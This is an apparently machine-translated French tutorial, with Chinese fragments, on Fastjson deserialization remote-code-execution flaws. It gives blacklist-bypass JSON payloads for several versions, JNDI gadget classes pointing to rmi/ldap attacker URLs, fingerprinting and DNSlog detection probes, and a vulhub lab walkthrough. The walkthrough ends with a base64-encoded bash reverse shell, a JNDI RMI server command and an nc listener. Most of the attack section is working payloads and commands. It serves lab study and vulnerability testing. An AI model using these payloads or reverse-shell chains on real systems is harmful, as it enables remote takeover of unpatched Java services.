Annuaire d'articles
Présentation de Fastjson
Fastjson est un analyseur JSON open source d'Alibaba. Il peut analyser des chaînes au format JSON, sérialiser des beans en chaînes JSON et désérialiser des chaînes JSON en Java Beans.
échappatoire historique
Fastjson <=1.2.24 Vulnérabilité d'exécution de commande à distance de désérialisation
Fastjson <=1.2.41 Vulnérabilité d'exécution de commande à distance de désérialisation
Fastjson <=1.2.42 Vulnérabilité d'exécution de commande à distance
de désérialisation Fastjson <=1.2.43 Vulnérabilité d'exécution de commande à distance de désérialisation
Fastjson <=1.2.45 Vulnérabilité d'exécution de commande à distance de désérialisation
Fastjson <=1.2.47 Vulnérabilité d'exécution de commande à distance de désérialisation
Fastjson <=1.2.62 Vulnérabilité d'exécution de commande à distance de désérialisation
Fastjson <=1.2.66 Vulnérabilité d'exécution de commande à distance de désérialisation
Fastjson < 1.2.41
Après l'apparition de la première vulnérabilité de désérialisation Fastjson, Ali a défini l'attribut autoTypeSupport sur false par défaut dans la version 1.2.25 et a ajouté la fonction checkAutoType() pour se défendre contre la vulnérabilité de désérialisation Fastjson via des listes noires et blanches. Les vulnérabilités de désérialisation de Fastjson visent toutes à contourner la liste noire pour atteindre l'objectif d'attaque et d'exploitation.
com.sun.rowset.jdbcRowSetlmpl
Il a été ajouté à la liste noire dans la version 1.2.25. fastjson a une condition de jugement pour juger si le nom de la classe commence par "L" et se termine par ";". Si oui, le nom de la classe est extrait et chargé.
Alors l'exp suivante peut être construite
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true}
Fastjson < 1.2.42
Après avoir découvert cette faille de contournement, Ali a créé une méthode qui, si le nom de la classe commence par L, ; à la fin, supprime L et ; pour vérifier la liste noire, mais elle ne prend pas en compte la situation d'écriture double ou d'écriture multiple, c'est-à-dire say Cette méthode ne peut se défendre que contre un ensemble de L et ;, construire exp comme suit, c'est-à-dire écrire deux fois L et ;
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}
Fastjson < 1.2.47
Dans le cas de la version 1.2.47 et des versions antérieures, le cache par défaut dans loadClass est vrai. D'abord, utilisez java.lang.Class pour mettre en cache la classe obtenue dans le mappage, puis obtenez directement le com.sun.rowset.jdbcRowSetlmpl à partir du cache.class, vous pouvez contourner la liste noire
{
"a": {
"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":
"rmi://ip:9999/exp", "autoCommit": true }}
Fastjson < 1.2.66
Basé sur le contournement de la liste noire, l'attribut autoTypeSupport ne peut être utilisé que lorsqu'il est vrai, et l'autoTypeSupport par défaut est faux après la version 1.2.25
{
"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}
{
"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}
{
"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}
Découverte de vulnérabilité
Fastjson cherche
Le rôle de Fastjson est d'analyser et de conditionner les données au format JSON, il est donc possible d'utiliser Fastjson là où le format json apparaît, et d'utiliser burp pour capturer si le Content-Type est application/json, et si c'est le cas, fastjson est utilisé avec une forte probabilité
Reconnaissance des erreurs Fastjson
{
"name":"1"
Utilisez la suite burp pour capturer les paquets - envoyez au répéteur - faites un clic droit sur le module Request et sélectionnez "Change request method" (change http request) - changez l'attribut Content-type en application/json, en construisant le mauvais format json, la réponse les informations de retour seront Divulgation d'informations avec fastjson
Vous pouvez également utiliser le json suivant pour éclater les informations de version de fastjson
[
{
"a":"a\x] {"@type":"java.lang.AutoCloseable"a
détection de vulnérabilité
Principe : La classe java.net.InetAddress tentera de résoudre le nom de domaine de example.com lors de son instanciation. A ce moment, vous pouvez savoir si la vulnérabilité existe via dnslog
{
"name:{
"@type":"java.net.InetAddress", "val":"vbaahm8fqzypvpitqmsvarcngem4at.burpcollaborator.net"
}
}
可以看到DNS对该域名进行解析,可以判断fastjson漏洞的存在。
Récurrence de la vulnérabilité
Vulnérabilité de désérialisation Fastjson1.2.47
Version concernée
Fastjson1.2.47 et versions antérieures
environnement de laboratoire
Docker construit un stand de tir avec vulhub
docker-compose up -d
Visitez l'adresse du champ de tir pour construire avec succès
JNDI
JNDI (The Java Naming and Directory Interface, Java Naming and Directory Interface) est un ensemble d'API permettant d'accéder aux services de nommage et d'annuaire dans les applications Java. Le service de nommage associe des noms à des objets afin que nous puissions utiliser des noms pour accéder à des objets.
Les services de nommage/d'annuaire suivants sont accessibles :
RMI (JAVA Remote Method Invocation)
LDAP (Lightweight Directory Access Protocol)
CORBA (Common Object Request Broker Architecture)
DNS (Domain Name Service)
Injection JNDI + RMI
RMI est Java Remote Method Invocation, qui est une interface de programmation d'application utilisée pour implémenter des appels de procédure à distance dans le langage de programmation Java. Il permet aux programmes exécutés sur le client d'appeler des objets sur le serveur distant.
Injection JNDI + Exploitation RMI
Télécharger l'outil d'exploitation
Outil d'utilisation des services JNDI, fastjson&log4j
coquille de rebond
Base64 encode bash -i >& /dev/tcp/attaquant ip/6666 0>&1
bash -i >& /dev/tcp/192.168.88.128/9999 0>&1
bash -c {
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{
base64,-d}|{
bash,-i}
java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在bash环境下才能用。而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符、输入输出重定向等。因此需要bash64编码一下。
Utiliser l'outil pour démarrer le serveur RMI
java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 "commande à exécuter"
java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
Nouveau port d'écoute à fenêtre ouverte
nc -lnvp 9999
Construire pyload pour attaquer
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击机ip:8888/Object",
"autoCommit":true
}
}
Retournez au port d'écoute et le shell de rebond réussit